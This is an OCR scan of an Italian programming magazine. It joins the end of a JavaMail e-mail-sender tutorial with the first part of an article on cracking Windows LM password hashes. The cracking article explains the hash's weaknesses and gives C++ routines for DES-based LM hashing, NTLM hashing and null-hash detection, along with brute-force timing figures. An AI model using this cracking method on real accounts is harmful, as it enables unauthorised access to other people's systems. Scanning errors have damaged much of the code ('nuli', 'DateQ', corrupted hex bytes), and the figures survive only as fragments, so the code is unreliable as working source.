<panco.pinco@mail.com>"; 

// L'oggetto della mail. 

String oggetto = "Prova JavaMail"; 

// Il corpo della mail. 

String corpo = "Ciao!\nQuesta è una prova. .."; 

// Acquisisco le proprietà del sistema. 

Properties props = System.getPropertiesQ; 

// Aggiungo alle proprietà un record per l'host 

smtp da impiegare. 

props. put("mail .smtp. host" smtp); 

// Creo un oggetto java. mail. Session con le 

proprietà elaborate. 

Session session = Session. getDefaultInstance( 

props, nuli); 

// Preparo il messaggio da inviare 

(javax.mail.internet. MimeMessage) 

MimeMessage message = new MimeMessage(session); 

// Imposto il mittente. 

message.setFrom(new InternetAddress(mittente)); 

// Imposto il destinatario. 

message. addRecipient(Message.RecipientType.TO, 

new InternetAddress(destinatario)); 

// Imposto l'oggetto. 

message.setSubject(oggetto); 

// Imposto la data di invio. 



message.setSentDate(new DateQ); 

// Imposto il corpo della mail. 

message.setText(corpo); 

// Invio il messaggio. 

Transport.send(message); 

// Avviso l'utente. 

System.out.println("Mail inviata!"); } 



} 



Compilate ed eseguite il programma. Se tutto va a 
buon fine, nell'arco di pochi istanzi troverete una 
nuova mail nella casella specificata dalla stringa 
destinatario. Non è stata magia, sono state le API 
JavaMail. Tutto inizia dalla creazione di un oggetto 
javax.mail Session. Una sessione JavaMail può esse- 
re recuperata chiamando il metodo statico Ses- 
sion. getDefaultlnstanceQ. Alla sessione vengono 
immediatamente associate alcune informazioni, 
attraverso un oggetto Properties. Sono fornite tutte 
le caratteristiche della macchina in uso (alcune di 
esse sono rilevanti per poter consegnare una e-mail) 
più una nuova proprietà {mail.smtp.host) che speci- 
fica quale host SMTP dovrà essere contattato per 
tentare l'invio. Stabilita la sessione JavaMail, inizia la 
composizione del messaggio, che viene rappresen- 
tato da un oggetto javax.mail.internet.MimeMessa- 
ge. L'utilizzo di questa classe, almeno a livello ele- 
mentare, è estremamente semplice. Con setSubjectQ 
si specifica l'oggetto, con setTextQ il corpo, con 
setSentDateQ la data di invio. Mittente e destinata- 
rio, all'apparenza, sono più complessi, perché fanno 
uso della classe javax.mail.internet.InternetAddress. 
In verità, non c'è ragione di spaventarsi: questa clas- 
se è usata per incapsulare e validare gli indirizzi. E' 
possibile inserire un semplice indirizzo e-mail [user- 
name@hosf) oppure una speciale stringa che rac- 
chiude nome ed indirizzo, nella forma "Nome 
Esteso" <username@host>. Un po' di attenzione va 
data al metodo addRecipientQ: 

message. addRecipient(Message.RecipientType.TO, 

new InternetAddress(destinatario)); 

Gli argomenti richiesti da questo metodo sono due. 
Una missiva elettronica, infatti, può avere i destina- 
tari suddivisi in più gruppi: quelli principali (campo 
TO), quelli in copia carbone (CQ e quelli in copia 
carbone nascosti {BCQ. Il primo argomento richie- 



qat Contento 




Attribuita - 
Hi 



From: 

Subject. 

Content-Type: ir li lupa rioni* ed 



I nnriDuies 1 

- Content-Type: texl/plain 

I Attribules 1 

Content-Type: textfplain 



Fig. 2: II messaggio è distinto dal suo contenuto 



► 32/Gennaio 2004 



http://www.ioprogrammo.it 



Gestire posta con le API JavaMail ■ T TEORIA & TECNICA 



sto da addRecipientQ serve proprio per specificare il 
gruppo di appartenenza del destinatario aggiunto. I 
tre possibili valori sono, rispettivamente: 

Message.RecipientType.TO 

Message.RecipientType.ee 

Message.RecipientType.BCC 

Alla fine di tutto ciò, la mail viene inviata con una 
chiamata al metodo statico send() della classe Tran- 
sport. Il messaggio MimeMessage appena elaborato 
viene passato al metodo come unico argomento 
della chiamata. 



UN SOFTWARE 
PER L'INVIO 

Sfruttiamo le conoscenze appena acquisite per met- 
tere insieme un vero e proprio programma per l'in- 
vio delle e-mail, capace di dialogare con l'utente e di 
soddisfare le sue richieste. Tutto quello che dobbia- 
mo fare, in pratica, è costruire una interfaccia grafi- 
ca intorno al codice già visto nel paragrafo prece- 
dente. Tutto sommato non è difficile, anche se è 
laborioso (il codice completo lo trovate in program- 
maz/mailsenderjava) 

import java.awt.*; 

import java.awt.event.*; 

import java.util.*; 

import javax.swing.*; 

import javax.mail.*; 

import javax.mail.internet.*; 

public class MailSender extends JFrame { 

// I componenti della GUI. 

JLabel labell = new JLabel("Host SMTP:"); 

JLabel Iabel2 = new JLabel("Mittente:"); 

JLabel Iabel3 = new JLabel("Destinatario:"); 

JLabel Iabel4 = new JLabel("Oggetto:"); 

JTextField textl = new JTextField(""); 

JTextField text2 = new JTextField(""); 

JTextField text3 = new JTextField(""); 

JTextField text4 = new JTextField(""); 

JTextArea text5 = new JTextArea(""); 

JButton buttonl = new JButton("Invia"); 

// Un sinonimo di this, per convenienza. 

MailSender myself = this; 

// La finestra per far attendere l'utente durante l'invio. 

SendDialog sendDialog; 

// Costruttore della classe. 

public MailSenderQ 

_J 

super("MailSender [un test di JavaMail]"); 

// Imposto le preferenze dei componenti. 

textl. setPreferredSize(new Dimension(300, 

textl .getPreferredSizeQ.height)); 

text2.setPreferredSize(new Dimension(300, 



text2.getPreferredSize().height)); 

text3.setPreferredSize(new Dimension(300, 
text3.getPreferredSize().height)); 

text4.setPreferredSize(new Dimension(300, 
text4.getPreferredSize().height)); 

text5.setLineWrap(true); 

text5.setWrapStyleWord(true); 

JScrollPane scrollPane = new JScrollPane(text5); 

scrollPane.setPreferredSize(new Dimension(400 / 
300)); 

// Assemblo la GUI. 

JPanel rowl = new JPanel( 
new FlowLayout(FlowLayout.RIGHT)); 

rowl.add(labell); 

rowl.add(textl); 

JPanel row2 = new JPanel( 
new FlowLayout(FlowLayout.RIGHT)); 

// Posiziono il componente. 

setLocationRelativeTo(owner); 

// Non permetto il ridimensionamento della finestra. 

setResizable(false); 

// Non chiudere questa finestra su richiesta dell'utente! 
setDefaultCloseOperation(DO_NOTHING_ON_CLOSE); } 
// Il metodo richiamato per invocare rinvio della mail- 
public void sendMessageQ { 

// Avvio il thread che cura rinvio della mail. 

thread = new Thread(this); 

// Punto di ingresso del programma. 

public static void main(String[] args) { 

MailSender mailSender = new MailSenderQ; 

mailSender.showQ; 

> 





PER SAPERNE 
DI PIÙ 



JAVAMAIL FAQ 

Un bel po' di risposte 

alle domande più 

frequenti su JavaMail 

le trovate su jGuru, alla 

pagina: 

http://www.jguru.com/ 
faq/JavaMail 



MailSender [un test di JavaMail] 
HostSMTR l rna.il. 191.it 1 Alle 9 al1 



I 

Mittente: [ "Carlo Pelliccia" <c pelliccia@sauronsoft ware.it> 



Destinatario: "Carlo Pelliccia" <carlo@lug rieti.net> 
Oggetto: [Frova con allegati! 



lncantevole.doc 
kernel-ntfs-2.4.22-1.2115.r 



Aggiungi Elimina 



Ciao, controlla gli allegati che ti mando! 

( arlo 



Cerca in: n Immagini 


H ISJI^JI^JI^JI^ 




D injpg 

13800.jpg 


Q Carlo_8.jpg Q k: 
Q carlo_avatar.jpg Q lu 


Q 1800.jpg 


Q DSCF0039.jpg Q m 


Q 18800.jpg 


Q DSCF0066.jpg Q P; 


24800.jpg 


Q DSCF0134.jpg Q Q 


Carlo_l.jpg 


Q Esonero militare, stupendoo.jpg Q si 




4 | io! 


!► 



Nome file: fj.800.jpg" "24800.jp g" "Carlo_l.jpg" 
Tipo file: I Tutti i file 



•■M 



Allega 



Fig. 3: La nuova versione di MailSender, dotata del supporto per l'invio degli 
allegati. 



http://www.ioprogrammo.it 



Gennaio 2004/33 ► 



TEORIA & TECNICA T ■ Gestire posta con le API JavaMail 




Il programma MailSender appare prolisso, per quel- 
li che sono i suoi compiti, ma è semplicemente la 
situazione tipica di quando si ha a che fare con le 
interfacce grafiche. Il codice che cura il vero e pro- 
prio invio della mail mediante le API JavaMail è sem- 
plice e breve. Si osservi come la consegna della posta 
viene effettuata dall'interno di un thread seconda- 
rio. L'operazione può richiedere diversi secondi, e 
per questo è bene non impegnare il thread principa- 
le dell'interfaccia grafica, che deve sempre rimanere 
libero per non far apparire il programma in uno 
stato di blocco. 



Mailbox: 
Mairi 
Message: 
1 afl 

Logoff 



Meri 



Compf 58 



Froar Carlo Pelliccia <cpelliccii 

Date: Thu : 27 Nov 2003 16:40-32 +0100 (CET) 

To: Carlo Pelliccia 
Subject: Test con allegati 



Ciao : guarda gli allegati che ti mando 




Fig. 4: La e-mail con gli allegati spedita con MailSender è stata ricevuta 
correttamente. 



SUPPORTO 
AGLI ALLEGATI 

Andiamo a scoprire qualcosa di nuovo sull'invio del- 
la posta elettronica con le API JavaMail. Aggiungia- 
mo al programma mostrato nel paragrafo preceden- 
te il supporto per l'invio di uno o più allegati. 
Anche questo genere di operazione non è poi tanto 
complessa (il codice completo lo trovate in pro- 
gmmmaz/mailsender.java) : 

import java.awt.*; 

import java.awt.event.*; 

import java.io.File; 

import java.util.*; 

import javax.swing.*; 

import javax.activation.*; 

import javax.mail.*; 

import javax.mail.internet.*; 

public class MailSender extends JFrame { 

// I componenti della GUI. 

JLabel labell = new JLabel("Host SMTP:"); 

JLabel Iabel2 = new J La bel ("Mittente:"); 

JLabel Iabel3 = new JLabel("Destinatario:"); 



JLabel Iabel4 = new JLabel("Oggetto:"); 

JTextField textl = new JTextField(""); 

JTextField text2 = new JTextField(""); 

JTextField text3 = new JTextField(""); 

JTextField text4 = new JTextField(""); 

JTextArea text5 = new JTextArea(""); 

JList listi = new JListQ; 

JButton buttonl = new JButton("Invia"); 

JButton button2 = new JButton("Aggiungi"); 

JButton button3 = new JButton("Elimina"); 

// Un sinonimo di this, per convenienza. 

MailSender myself = this; 

// La finestra per far attendere l'utente durante l'invio. 

SendDialog sendDialog; 

// La lista degli allegati. 

Vector attachments = new VectorQ; 

Vector attachmentsName = new VectorQ; 

// Costruttore della classe. 

public MailSenderQ { 

super("MailSender [un test di JavaMail]"); 

// Imposto le preferenze dei componenti. 

textl. setPreferredSize(new Dimension( 

300, textl .getPreferredSizeQ.height) ); 

text2.setPreferredSize(new Dimension(300, 

text2 .getPreferredSizeQ.height)); 

text3.setPreferredSize(new Dimension(300, 

text3 .getPreferredSizeQ.height)); 

text4.setPreferredSize(new Dimension(300, 

text4.getPreferredSize().height)); 

text5.setLineWrap(true); 

text5.setWrapStyleWord(true); 

JScrollPane scrollPanel = new JScrollPane(text5); 
scrollPanel.setPreferredSize(new Dimension(400, 

300)); 

JScrollPane scrollPane2 = new JScrollPane(listl); 
scrollPane2.setPreferredSize(new Dimension(150 / 50)); 

// Assemblo la GUI. 

JPanel rowl = new JPanel(new 

FlowLayout(FlowLayout.RIGHT)); 

rowl.add(labell); 

rowl.add(textl); 

JPanel row2 = new JPanel(new 

FlowLayout(FlowLayout.RIGHT)); 

row2.add(labe!2); 

row2.add(text2); 

JPanel row3 = new JPanel(new FlowLayout( 

FlowLayout.RIGHT)); 

row3.add(labe!3); 

row3.add(text3); 

JPanel row4 = new JPanel(new FlowLayout( 

FlowLayout.RIGHT)); 

row4.add(labe!4); 

row4.add(text4); 

JPanel northWest = new JPanel(new GhdLayout(4, 1)); 

northWest.add(rowl); 

northWest.add(row2); 

northWest.add(row3); 

northWest. add(row4); 



^ 34/Gennaio 2004 



http://www.ioprogrammo.it 



Gestire posta con le API JavaMail ■ T TEORIA & TECNICA 



JPanel northCenterSouth = new JPanel(new 
GridLayout(l, 2)); 

northCenterSouth .add(button2); 

northCenterSouth .add(button3); 

JPanel northCenter = new JPanel( 
new BorderLayoutQ); 

northCenter.setBorder(new 
javax.swing.border.TitledBorder("Allegati")); 

// Preparo il messaggio da inviare 

(javax. mail, internet. MimeMessage) 

MimeMessage message = new MimeMessage(session); 

try { 

// Imposto il mittente. 

message. setFrom(new 

InternetAddress(text2.getText())); 

// Imposto il destinatario. 

message. addRecipient(Message.RecipientType.TO, 

new InternetAddress(text3.getText())); 

// Imposto l'oggetto. 

message.setSubject(text4.getText()); 

// Imposto la data di invio. 

message.setSentDate(new DateQ); 

if (attachments.sizeQ == 0) { 

// Se non ci sono allegati procedo alla vecchia 

maniera. 

message.setText(text5.getText()); 

} else { 

// Se ci sono allegati... 

// Creo la parte del corpo destinata al testo 

della mail. 

MimeBodyPart messageBodyPart = new 

MimeBodyPartQ; 

messageBodyPart.setText(text5.getText()); 

// Creo un multipart per avere il corpo in pi" 

elementi. 

Multipart multipart = new MimeMultipartQ; 

// Aggiungo la parte testuale. 

multipart.addBodyPart(messageBodyPart); 

// Aggiungo gli allegati. 

for (int i = 0; i < attachments.sizeQ; i++) { 

// Ricavo file e nome dalla lista. 

File file = (File)attachments.get(i); 

String fileName = (String 

)attachmentsName.get(i); 

// Creo l'allegato. 

messageBodyPart = new MimeBodyPartQ; 

DataSource source = new FileDataSource(file); 

messageBodyPart. setDataHandler(new 

DataHandler(source)); 

messageBodyPart.setFileName(fileName); 

// Aggiungo l'allegato al corpo. 

multipart.addBodyPart(messageBodyPart);} 

// Associo il contenuto al messaggio. 

message.setContent(multipart); } 

// Invio la mail. 

Transport.send(message); 

// Chiudo la finestra d'attesa. 



disposeQ; 

// Avviso l'utente del successo dell'operazione. 

JOptionPane.showMessageDialog(myself, 
"La lettera è stata spedita", "Invio eseguito!", 

JOptionPane.INFORMATION_MESSAGE); 

} catch (Exception e) { 

// Chiudo la finestra d'attesa. 

disposeQ; 

// Avviso l'utente in caso di errore. 

JOptionPane.showMessageDialog( myself, 

"Impossibile inviare la lettera. \n" + 
"Controllare i campi e ritentare.", "Errore!", 

JOptionPane.ERROR_MESSAGE); 

System.out.println(e); } 

}} 

// Punto di ingresso del programma. 

public static void main(String[] args) { 

MailSender mailSender = new MailSenderQ; 

mailSender.showQ;} 



> 



Andiamo alla ricerca delle differenze con la prece- 
dente versione di MailSender. Sono stati aggiunti 
diversi nuovi import, in particolare: 

import javax. activation.*; 

Finalmente andiamo ad utilizzare alcuni elementi 
del JavaBeans Activation Framework che, in prece- 
denza, vi ho fatto installare senza spiegarne troppo 
dettagliatamente il perché. Le e-mail con allegati 
utilizzano, per l'organizzazione dei loro contenuti, 
uno standard chiamato MIME. Il JavaBeans Activa- 
tion Framework contiene delle classi che gestiscono 
automaticamente questo formato. Pertanto, le API 
JavaMail richiedono il JavaBeans Activation Frame- 
work per gestire le e-mail in formato MIME. L'inter- 
faccia grafica è stata estesa con una. JList ed un paio 
di pulsanti, necessari affinché l'utente possa gestire 
la lista degli allegati desiderati. Le funzioni addAtta- 
chmentsQ e removeAttachmentsO, rispettivamente, 
compiono le operazioni necessarie per l'aggiunta e 
la rimozione dalla lista di uno o più allegati. La 
prima compie particolari controlli sia per evitare che 




ALTRE 

POSSIBILI 

MIGLIORIE 

Fin qui vi ho condotto 
per mano nello 
sviluppo di 
un'applicazione per 
l'invio della posta 
elettronica. Ora è il 
vostro turno di 
apportare delle 
migliorie 
all'applicazione 
MailSender. Eccovi 
qualche spunto (nulla 
di complicato, non vi 
preoccupate): 



• aggiungete il 
supporto per i 
destinatari CC e BCC; 

• fate in modo che su 
una riga di tipo TO, CC 
o BCC possa essere 
introdotto più di un 
destinatario, usando il 
punto e virgola come 
carattere separatore. 



Message 



\ 



Attributes 



MimeMessage 




From: Joe 

Subject: Hi 

Content-Type: text/plain 

Attributes 



Content-ID:xyz.123 
Content-Transfer-Encoding: 7bit 



Fig. 5: Le mail con allegati utilizzano lo standard MIME. 



http://www.ioprogrammo.it 



Gennaio 2004/35 ► 



TEORIA & TECNICA T ■ Gestire posta con le API JavaMail 




uno stesso file venga allegato due volte sia per risol- 
vere i conflitti di nome tra file omonimi ma differen- 
ti. Alla fine delle operazioni, due Vector [attachments 
e attachmentsNamé) riporteranno, in maniera ordi- 
nata, i file allegati ed i nomi ad essi associati. Quan- 
do si inoltra la mail, un controllo verifica la presenza 
di eventuali allegati: 

if (attachments.sizeQ == 0) { 

// Se non ci sono allegati procedo alla vecchia maniera. 

message.setText(text5.getText()); 

} else 

{ 

// Ci sono allegati, il codice cambia... 



Multipart multipart = new MimeMultipart(); 

Bisogna aggiungere la parte testuale della mail. 
Creiamo a tal fine un oggetto javax.mailinternet. 
MimeBodyPart: 

MimeBodyPart messageBodyPart = new MimeBodyPartQ; 
messageBodyPart.setText(text5.getText()); 

Specificato il testo da introdurre in questa parte del 
corpo, la MimeBodyPart va aggiunta al MimeMulti- 
part precedentemente creato: 

multipart. addBodyPart(messageBodyPart); 



} 



Mail Enabled Applications 
Mail Beans 



Internet Layer 
wax.maiUnternet 



JavaMail Abstract Layer 
javax.maii 



IMAP/SMTP/ 



Fig. 6: Architettura di Java Api 



Adesso è il turno degli allegati. Il vettore dei file e 
quello dei nomi associati vengono passati in rasse- 
gna. Per ogni file richiesto viene generata una nuova 
MimeBodyPart da accodare al MimeMultipart della 
mail. In questo caso, però, il contenuto della parte 
del corpo non è testuale. Qui entrano in gioco alcu- 
ne classi del JavaBeans Activation Framework. La 
classe javax.activation.FileDataSource legge il file e 
lo imposta come sorgente di dati, riconoscendone il 
tipo MIME: 

DataSource source = new FileDataSource(file); 



Se non ci sono allegati, si procede alla vecchia 
maniera. In caso contrario, entra in gioco un nuovo 
tipo di codice per l'immissione del corpo della mail: 

// Creo la parte del corpo destinata al testo della mail. 
MimeBodyPart messageBodyPart = new MimeBodyPartQ; 

messageBodyPart.setText(text5.getText()); 

// Creo un multipart per avere il corpo in pi" elementi. 

Multipart multipart = new MimeMultipartQ; 

// Aggiungo la parte testuale. 

multipart.addBodyPart(messageBodyPart); 

// Aggiungo gli allegati. 

for (int i = 0; i < attachments.sizeQ; i++) { 

// Ricavo file e nome dalla lista. 

File file = (File)attachments.get(i); 

String fileName = (String)attachmentsName.get(i); 

// Creo l'allegato. 

messageBodyPart = new MimeBodyPartQ; 

DataSource source = new FileDataSource(file); 

messageBodyPart. setDataHandler(new 

DataHandler(source)); 

messageBodyPart.setFileName(fileName); 

// Aggiungo l'allegato al corpo. 

multipart.addBodyPart(messageBodyPart); } 

// Associo il contenuto al messaggio. 

message.setContent(multipart); 

Se ci sono allegati, il corpo della mail deve essere 
suddiviso in più parti. Pertanto, si utilizza la classe 
javax. mail internet.MimeMultipart. 



La classe javax.activation.DataHandler è utilizzata 
per gestire il tipo MIME del FileDataSource appena 
generato. L'allegato, sotto forma di DataHandler, 
può essere direttamente introdotto nella MimeBo- 
dyPart in fase di elaborazione, con il metodo setDa- 
taHandlerQ: 

messageBodyPart. setDataHandler(new 

DataHandler(source)); 

Una volta completato il MimeMultipart con la parte 
testuale e tutti gli allegati richiesti dall'utente, l'og- 
getto può essere impostato come contenuto del 
MimeMessage in fase di elaborazione: 

message.setContent(multipart); 

Non resta che inviare la mail con Tranport.sendO, 
come già sappiamo fare dagli esempi precedenti. 



IL MESE PROSSIMO... 

Con il prossimo appuntamento ci sposteremo sul- 
l'altro lato della barricata, studiato le caratteristiche 
delle API JavaMail per la ricezione della posta elet- 
tronica. In pratica, svilupperemo un nuovo software 
capace di scaricare e mostrare il contenuto di una 
casella e-mail. Non mancate! 

Carlo Pelliccia 



^ 36/Gennaio 2004 



http://www.ioprogrammo.it 



TEORIA & TECNICA Y La gestione delle password di Windows 



Sfruttare le falle di sicurezza del LanManager 



(parte seconda) 



Un cracker per le 
password di sistema 

Continua il nostro viaggio all'interno dei meccanismi di sicurezza di 
Windows XP. In questa seconda e ultima parte andremo a 
implementare il nostro cracker per le password di sistema, 
sfruttando le insicurezze progettuali del LanManager di Microsoft. 




□ CD CI WEB 

LMcracker.zip 



VL 




PASSWORD 
ALFANUMERICHE 

L'algoritmo di brute- 

force descritto in 

questo ariticolo riesce 

a forzare soltanto le 

password alfabetiche; 

per integrare nel 

cracker anche le 

password 

alfanumeriche, 

bisogna utilizzare un 

set di esteso di 36 

caratteri (26 lettere 

+10 numeri) 

modificando i cicli di 

for(). 



Per tutti i lettori che hanno perso la puntata 
precedente di questo articolo (avranno avuto 
una giustificazione valida per non comprare 
ioProgrammo?) faremo un piccolo preambolo in cui 
saranno riassunti i concetti essenziali esposti la 
scorsa volta, in modo da non lasciare nessuno in dif- 
ficoltà nel corso delle spiegazioni. E' inutile dire che 
per comprendere a fondo i meccanismi crittografici 
delle password di sistema di Windows è comunque 
opportuno documentarsi sui sistemi LM Hash e 
NTLM Hash implementati da Microsoft e acquisire 
le nozioni elementari della crittografia (in questo 
articolo utilizzeremo infatti gli algoritmi DES e MD4, 
sfruttando le librerie OpenSSL). 



DOVE 

ERAVAMO RIMASTI... 

Nell'articolo precedente si è spiegato come sia orga- 
nizzato internamente Windows per gestire le pas- 
sword degli utenti, che sono memorizzate all'inter- 
no del SAM, un componente accessibile sia sotto 
forma di file (C:\WINDOWS\SYSTEM32\CONFIG), 
sia come zona di registro di sistema. In particolare, 
abbiamo mostrato quali sono i modi comunemente 
usati dagli hacker per accedere, in maniera forzata, 
al SAM (che di per regola dovrebbe essere inaccessi- 
bile) e abbiamo analizzato i due elementi cruciali di 
tutta la sicurezza di Windows, che sono contenuti 
nel SAM: i valori LMhash e NTLMhash. Decriptare 
uno di questi valori significa trovare la password di 
un utente. Una chiave hash - non dovremmo ripe- 
terlo, ma lo facciamo per completezza - è una sorta 
di impronta digitale univoca, costruita a partire da 
una stringa di testo: ogni password memorizzata da 
Windows viene infatti codificata mediante una chia- 
ve esadecimale di 16 byte, che è impiegata per con- 
validare l'accesso degli utenti al sistema operativo. 



Questo sistema di protezione è ingegnoso nella sua 
definizione, ma spesso passando dalla teoria alla 
pratica, si possono commettere errori... e Microsoft 
non è certo da meno! Le insicurezze della password 
di Windows sono tutte concentrate nel calcolo della 
chiave LMhash (cosa che potrebbe essere abolita, 
visto che la chiave NTLMhash è più sicura e da sola 
è sufficiente per l'autenticazione su Windows 2000 e 
XP); i difetti di progettazione di LMhash possono 
essere brevemente riassunti in questo modo: 

• la password può essere lunga al massimo 1 4 
caratteri (lo spazio di ricerca di tutte le possibi- 
li password alfabetiche è limitato nell'ordine di 

52 14 ); 

• la password viene convertita in maiuscolo 
prima del calcolo di LMhash (ciò riduce lo 
spazio di ricerca da 52 14 a 26 14 ); 

• nella generazione di LMhash la password 
viene spezzata in due blocchi da 7 caratteri 

(ciò dimezza anche la difficoltà di analisi dello 
spazio di ricerca, che risulta quindi sdoppiato in 
due blocchi 26 7 + 26 7 ); 

• l'algoritmo crittografico usato per creare 
LMhash è il DES e nell'implementazione fat- 
ta da Microsoft viene utilizzata una chiave 
fìssa nota "KGS!@#$%" (ciò implica che le pas- 
sword nulle hanno tutte lo stesso hash 
"0xAAD3B435B5140 4EE" facilmente riconosci- 
bile). 

Chiariti questi aspetti fondamentali sulle vulnerabi- 
lità di LMhash, non rimane che passare all'attacco e 
realizzare un algoritmo in grado di scovare una pas- 
sword (o parte di essa) in tempi ragionevoli. 
Il nostro linguaggio di lavoro sarà il C++, che grazie 



^ 38/Gennaio 2004 



http://www.ioprogrammo.it 



La gestione delle password di Windows ■ T TEORIA & TECNICA 



alla sua potenza ci offrirà sicuramente ottimi tempi 
di calcolo (nettamente superiori a quelli ottenibili 
con Java). 



I MATTONI 

DEL NOSTRO 

PASSWORD-CRACKER 

I pilastri fondamentali necessari per creare un 
cracker di password sono gli algoritmi DES e MD4. 
L'articolo precedente mostrava come compilare le 
librerie OpenSSL e come usare questi algoritmi 
all'interno di un sorgente C++, implementando due 
semplici funzioni in grado di calcolare i valori 
LMhash e NTLMhash. 

II codice mostrato nell'articolo precedente ritorna 
utile soprattutto adesso. Ricordiamo che le chiavi 
hash vengono implementate in C++ come vettori di 
BYTE[]. 

void setup_des_key(unsigned char key_56[], 
des_key_schedule &ks) 



des_cblock key; 

key[Q] = key_56[0]; 

key[l] = (key_56[Q] << 7) | (key_56[l] >> 1) 
key[2] = (key_56[l] << 6) | (key_56[2] >> 2) 
key [3] = (key_56[2] << 5) | (key_56[3] >> 3) 
key [4] = (key_56[3] << 4) | (key_56[4] >> 4) 
key [5] = (key_56[4] << 3) | (key_56[5] >> 5) 
key [6] = (key_56[5] << 2) | (key_56[6] >> 6) 

key[7] = (key_56[6] << 1); 

des_set_key(&key, ks); 



} 



void HashLM(BYTE Plain[7], BYTE Hash[8]) 

{ 

//Microsoft magic word "KGS!@#$%" 

unsigned char magic[] = {0x4B, 0x47, 0x53, 0x21, 

0x40, 0x23, 0x24, 0x25}; 

des_key_schedule ks; 

setup_des_key(Plain, ks); 

des_ecb_encrypt((des_cblock*)magic, 

(des_cblock*)Hash, ks, DES_ENCRYPT); 

> 

void HashNTLM(BYTE Plain[], BYTE Hash[16], int s) 

{ 

MD4_CTX mdContext; 

MD4_Init(&mdContext); 

//maximum password length = 128 

//password is converted in Unicode LittleEndian 

format 128x2 = 256 bytes 

MD4_Update(&mdContext, Plain, s); 

MD4_Final(Hash, &mdContext); 



ALGORITMO LOGICO 
DEL CRACKER 

Il cracker che stiamo implementando avrà bisogno 
di una certa interazione iniziale da parte del pro- 
grammatore, che deve innanzitutto estrarre i valori 
giusti dal SAM (16 byte in tutto) e inserirli all'interno 
del sorgente nelle variabili denominate Imhashl e 
lmhash2, di 8 byte ciascuna. L'algoritmo del cracker 
compie inizialmente alcuni test e operazioni logi- 
che, mostrate nello schema in Fig. 1. 




Fig. 1: L'algoritmo utilizzato dal cracker riesce a 
capire il tipo di password effettuando alcuni semplici 
test sui blocchi da 8 byte di cui si compone compos- 
ta la chiave LMhash. 

Bisogna sempre tenere a mente che il punto di for- 
za di questo attacco sta nel fatto che la password è 
spezzata da Windows in due blocchi da 7 (chiama- 
ti per semplicità LMHASH 1 e LMHASH2), quindi è 
possibile effettuare i tentativi di brute-force sui due 
blocchi come se fossero due operazioni indipen- 
denti. Inoltre, a causa dell'uso improprio di una 
chiave fissa nel calcolo dell'hash, è possibile capire 
quando una password supera o meno i 7 caratteri, 
ottimizzando così i tentativi di brute-force con un 
po' di logica e usando un attacco mirato. 




COMPILARE 

CON 

OTTIMIZZAZIONE 

Usando le opzioni /02 e 
/G5 del compilatore CL 
di Microsoft si può 
ottenere un buon 
incremento di velocità 
del codice generato, 
migliorando le 
prestazioni del cracker; 
in realtà, per un 
attacco veramente 
efficace, bisognerebbe 
scrivere le routine 
cruciali del programma 
in linguaggio 
Assembly, usando 
istruzioni ottimizzate 
per processori 
Pentium. 




} 



TEMPI DI CALCOLO STIMATI 



Giusto per rendersi conto dei tempi di calcolo richiesti dal cracker 
implementato in C++ ecco i risultati ottenuti durante le prove su un 
processore Pentium 4 a 1,8 Ghz. 

• Password di lunghezza 1/2/3 caratteri = 5-16 msec (praticamente è 
istantaneo) 

• Password di lunghezza 4 caratteri = 406 msec 

• Password di lunghezza 5 caratteri = 11 sec 

• Password di lunghezza 6 caratteri = 5 min 

• Password di lunghezza 7 caratteri = circa 2 ore 

Nel caso peggiore (password di 14 caratteri) saranno richieste in tutto 4 
ore, necessarie per forzare I due blocchi da 7 caratteri che formano la 
password completa. 



http://www.ioprogrammo.it 



Gennaio 2004/39 ► 



TEORIA & TECNICA Y La gestione delle password di Windows 




SCOPRIRE 

LE PASSWORD NULLE 

Una volta definito un algoritmo generico ed astrat- 
to per il nostro attacco di cracking, possiamo ini- 
ziare a scrivere il codice C++ che lo implementa, 
partendo dalla routine cruciale, quella che gestisce 
il test fondamentale del nostro algoritmo: isNullQ. 
Si tratta di scrivere una funzione C++ che riceve in 
input una chiave hash da 8 byte (la prima o la 
seconda metà del valore LMhash) e la confronta col 
valore noto "0xAAD3B435B51404EE" . Se il check è 
vero, Fhash esaminato corrisponde ad una pas- 
sword vuota, altrimenti significa che la password 
esiste e none nulla. 

bool isNull(BYTE h[]) { 

//aad3b435b51404ee nuli password hash 

BYTE n[8] = {0xAA,0xD3,0xB4,0x35,0xB5,0xl4,0x04, 

QxEE}; 

bool nullpwd=true; 

for(int i = 0;i<7;i ++) 

if(h[i]! = n[i]) nullpwd=false; 

return nullpwd; 

} 

Cos'altro si può dire sulla funzione isNullO? 
Analizziamo i casi possibili di LMhash che possono 
verificarsi (Tabella 1). 



r LMHASH (16 bytes) 


SIGNIFICATO 


LMHASHl(8byte) 


LMHASH2 (8 byte) 


X 


Y 


Password > 7 car. 


X 


0xAAD3B435B51404EE 


Password <= 7 car. 


0xAAD3B435B51404EE 


Y 


- configurazione non possibile - 


0xAAD3B435B51404EE 


0xAAD3B435B51404EE 


Password nulla 


Tabella /.- Le diverse Impostazioni di LMHASH. 



Se nessuna delle due metà di LMhash è uguale al 
valore noto "0xAAD3B435B 51404EE", vuol dire che 
entrambi i blocchi da 7 caratteri sono non nulli e 
che quindi la password è certamente più lunga di 7 
caratteri (da 8 fino a 14). In questo caso, con un po' 
di intelligenza, si può intuire che non sarà necessa- 
rio eseguire un brute-force per cercare password di 
3,4,5,6 caratteri sulla prima metà dell'hash, poiché 
questa corrisponderà sicuramente ad una stringa di 
7 caratteri esatti. 

Una password lunga in totale 9 caratteri richiederà 
ad esempio un brute-force di lunghezza 7 per rive- 
lare il primo blocco (7 byte) ed un successivo brute- 
force di lunghezza 2 per il secondo blocco, con 
incredibile risparmio di tempo! Situazione migliore 
si ha invece quando una delle due metà della pas- 
sword è nulla: il caso in cui LMHASH 1 è nulla ed 
LMHASH2 è definita non può verificarsi, perché 
significherebbe che l'utente ha inserito solo la 
seconda metà della password, lasciando i primi 7 



^00000 




Fig. 2: Schema di funzionamento logico dell'algoritmo 
LM Hash. I ptoblemi di sicurezza di questo algoritmo 
derivano sostanzialmente dalla divisione della pass- 
word in due metà da 7 caratteri ciascuna. 

caratteri vuoti. Al contrario può capitare (e capita 
spesso!), che l'utente immetta una password mino- 
re o uguale a 7 caratteri: questa situazione si rivela 
quasi immediatamente poiché la seconda metà di 
LMhash è uguale al valore noto: 

0XÀAD3B435B51404EE 

Se infine la password è totalmente nulla, avremo 
entrambe le metà di LMhash settate sul valore noto. 
Caso ottimo per qualsiasi hacker! 



PRIMI PASSI 

COL BRUTE-FORCE 

Dal discorso fatto sui possibili casi di password 
LMhash si evince che bisognerà scrivere più di una 
routine di brute-force, per essere in grado di testare 
